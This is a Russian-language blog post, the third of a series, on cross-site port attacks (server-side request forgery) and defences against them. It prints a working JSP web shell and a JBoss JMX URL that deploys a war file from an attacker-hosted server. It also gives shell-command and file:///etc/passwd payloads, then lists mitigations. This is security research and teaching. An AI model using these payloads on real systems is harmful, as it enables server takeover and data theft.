Межсайтовые атаки портов - XSPA – Часть 3

В двух предыдущих постах мы увидели, что из себя представляют межсайтовые атаки портов (XSPA) и какие прочие атаки возможно реализовать на их основе. Данный пост является продолжением предыдущих и последним в серии. Здесь мы увидим другие интересные атаки, а также то, как разработчики могут предотвратить XSPA или ограничить поверхность атаки.

Атаки – атака внутренних уязвимых веб-приложений

Чаще всего в приложениях интранет безопасность отсутствует даже на самом базовом уровне, что позволяет атакующему получать доступ к ресурсам сервера, включая данные и код. Для обращения к интранет-приложениям из Интернет необходим VPN-доступ ко внутренней сети или специальная возможность соединения по тем же каналам. Однако, используя XSPA, атакующий может получить доступ к уязвимым внутренним веб-приложениям через веб-приложение, имеющее выход в Интернет.

Очень распространенный пример, который я видел в ходе многих пентестов, – наличие сервера Jboss, имеющего несколько уязвимостей. Моя любимая уязвимость – отсутствие по умолчанию аутентификации в JMX-консоли, запущенной на порту 8080.

Хорошо документированный хак, использующий JMX-консоль, позволяет атакующему развернуть war-файл, содержащий JSP-код, что позволяет выполнять на сервере команды. Если атакующий имеет прямой доступ к JMX-консоли, то развернуть war-файл, содержащий следующий JSP-код, достаточно просто:

<%@ page import="java.util.*,java.io.*"%>
<pre>
<% Process p = Runtime.getRuntime().exec("cmd /c " + request.getParameter("x"));
DataInputStream dis = new DataInputStream(p.getInputStream());
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
} %>
</pre>


Используя MainDeployer в jboss.system:service в JMX Bean View мы можем развернуть war-файл, содержащий JSP-шелл. MainDeployer можно найти по следующему адресу:

http://example_server:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system%3Aservice%3DMainDeployer

С помощью MainDeployer, можно, например, развернуть на сервере файл cmd.war, содержащий шелл. Доступ к шеллу при этом осуществляется по адресу http://example_server:8080/cmd/shell.jsp. Команды можно запускать так: shell.jsp?x=[command]. Чтобы сделать это через XSPA, нам, очевидно, нужно заменить example_server на IP/имя хоста сервера внутренней сети, на котором запущен JBoss.

Камнем преткновения для реализации рассмотренной выше атаки на основе XSPA является тот факт, что развертывание файлов происходит через POST-запросы, поэтому мы не можем сформировать URL (по крайней мере мы так думаем), который развернул бы war-файл на сервере. Однако, эту проблему можно просто решить, конвертировав POST-запрос в GET-запрос. В тестовой конфигурации мы можем определить переменные, которые посылаются серверу Jboss при вызове функции deploy компонента Main Deployer. Используя ваш любимый прокси или просто функцию "Convert POST to GET" дополнения "Web Developer" браузера Firefox, мы можем построить URL, который позволит развернуть файл cmd.war на сервере. Затем нам нужно будет лишь разместить файл cmd.war в Интернет, чтобы мы могли указать его URL как значение параметра arg0. Итоговый URL будет иметь слудующий вид (мы предполагаем, что JBoss крутится на том же веб-сервере):

http://127.0.0.1:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://our_public_internet_server/utils/cmd.war

Используем этот URL в качестве входных данных для уязвимого к XSPA веб-приложения, и, если приложение отображает полученный от бэкенда ответ, мы должны увидеть подобную картину:

Далее останется лишь запросить shell.jsp через уязвимое к XSPA веб-приложение. Например, следующие входные данные вернут список содержимого папки на сервере JBoss (в предположении, что он работет под Windows, для Linux можно использовать x=ls%20-al).

http://127.0.0.1:8080/cmd/shell.jsp?x=dir

http://127.0.0.1:8080/cmd/shell.jsp?x=tasklist

Мы успешно атаковали внутреннее уязвимое веб-приложение из Интернет через XSPA. Далее мы можем использовать полученный шелл, чтобы загрузить программу для установки обратных соединений, которая позволит запускать команды более гибко. Подобным образом через Интернет могут быть атакованы и другие внутренние приложения, уязвимые к SQL-инъекциям, манипуляции параметрами и прочим атакам на основе URL.

Атаки – считывание локальных файлов через обработчик протокола file:///

Все атаки, рассмотренные нами до этого момента, используют тот факт, что уязвимое к XSPA веб-приложение создает HTTP-запрос к заданному атакующим ресурсу. Протокол URL во всех случаях задавался атакующим. С другой стороны, если мы укажем обработчик протокола file, то, вероятно, сможем читать файлы на сервере. Входные данные следующего формата заставят приложение считывать файлы с диска:

Запрос: file:///C:/Windows/win.ini

Следующий снимок экрана показывает чтение файла /etc/passwd на принадлежащем Adobe сервере через веб-приложение Omniture. Был сделан запрос file:///etc/passwd. Adobe уже исправило данную проблему, а за ее обнаружение я попал в Зал Славы Adobe:

Как бороться?

Существует множество способов борьбы с этой уязвимостью, наиболее совершенные и распространенные техники препятствования XSPA перечислены ниже:

1. Обработка ответов – проверка на стороне сервера ответов, полученных от удаленных ресурсов,– один из основных способов борьбы с XSPA, который можно легко реализовать. Если веб-приложение ожидает от сервера определенный тип содержимого, то перед отображением или обработкой данных для клиента нужно программно проверить, что полученные данные удовлетворяют заданным ограничениям.

2. Обработка ошибок и сообщений – в случае каких-либо проблем отображать для клиента типовое сообщение об ошибке. Если, например, был получен неверный тип содержимого, следует отображать клиенту универсальное сообщение вроде "Invalid Data retrieved". Также следует убедиться, что одно и то же сообщение выдается как в случае получения некорректных данных, так и в случае ошибки в бэкенде. Это предотвратит злоупотребление функционалом приложения, поскольку для открытых и закрытых портов будет отображаться одинаковое сообщение. И ни при каких обстоятельствах необработанный ответ, полученный от удаленного сервера, не должен показываться клиенту.

3. Ограничьте возможность HTTP-соединения только базовыми портами – это решение не всегда будет лучшим, но ограничение списка портов, к которым может делать запросы веб-приложение, например, 80, 443, 8080, 8090 и т. д., может уменьшить поверхность атаки. Несколько популярных веб-приложений Интернет просто удаляют из входного URL спецификации порта и соединяются с портом, соответствующим обработчику протокола (http - 80, https - 443).

4. Черный список IP-адресов – внутренние IP-адреса, спецификации локального хоста и внутренние имена хостов могут быть занесены в черный список, что предотвратит злоупотребление веб-приложением для выборки данных с соответствующих устройств или их атаки. Реализация черных списков защитит сервера от векторов одномоментных атак. Например, даже если вышеописанные приемы были реализованы, данные все еще отсылаются на удаленный сервер. Если запущена атака, для которой не важно видеть ответы (вроде эксплуатации переполнения буфера), то черные списки действительно смогут предотвратить попадание опасных данных на уязвимое устройство. Обработка ответа в данном случае не понадобится вовсе, так как соответствующий запрос так и не будет сделан.

5. Отключение нежелательных протоколов - разрешите запросы на удаленный сервер только по протоколам http и https. Белый список разрешенных протоколов предотвратит отсылку веб-приложением запросов через другие протоколы вроде file:///, gopher://, ftp:// и прочие URI-схемы.

Заключение

Уже прошло некоторое время с тех пор, как пентестеры стали использовать веб-приложения для выполнения запросов к удаленным ресурсам, локальной сети и даже локальному хосту. Такое использование веб-приложений называлось по-разному: Server Side Request Forgeries (Манипуляция запросами на стороне сервера), Cross Site Port Attacks (Межсайтовые атаки портов) и даже Server Side Site Scanning (Сканирование сайта со стороны сервера). Однако, важнее всего представить этот тип уязвимостей сообществу и показать, что он является крайне распространенным. В данном исследовании было показано как можно использовать XSPA для проксирования атак на удаленные сайты и локальные системы через уязвимые веб-приложения.

Мы увидели, что XSPA можно использовать для сканирования портов удаленных, имеющих выход в Интернет серверов, устройств интранет и сервера самого уязвимого веб-приложения. В некоторых случаях также возможно получить баннеры служб. XSPA также можно использовать для эксплуатации уязвимостей в программах, запущенных в интранет или на локальном сервере. XSPA позволяют опознавать веб-приложения по наличию стандартных файлов и поведению. Кроме того, в некоторых случаях можно атаковать внутренние/внешние веб-приложения, которые имеют уязвимости, основанные на ообработке GET-параметров запроса (SQLi через URL, манипуляция параметрами и т. д.). Наконец, XSPA был использован для считывания локальных файлов через обработчик протокола file:/// в веб-приложении Adobe Omniture.

Бороться с XSPA можно комбинацией черных списков IP-адресов, белых списков портов и протоколов и корректной обработкой ошибок, скрывающей от клиента лишние подробности.

В нескольких последующих постах я собираюсь опубликовать связанные с XSPA бреши, найденные в разных Интернет-сайтах, которые и подтолкнули меня к исследованию данной уязвимости.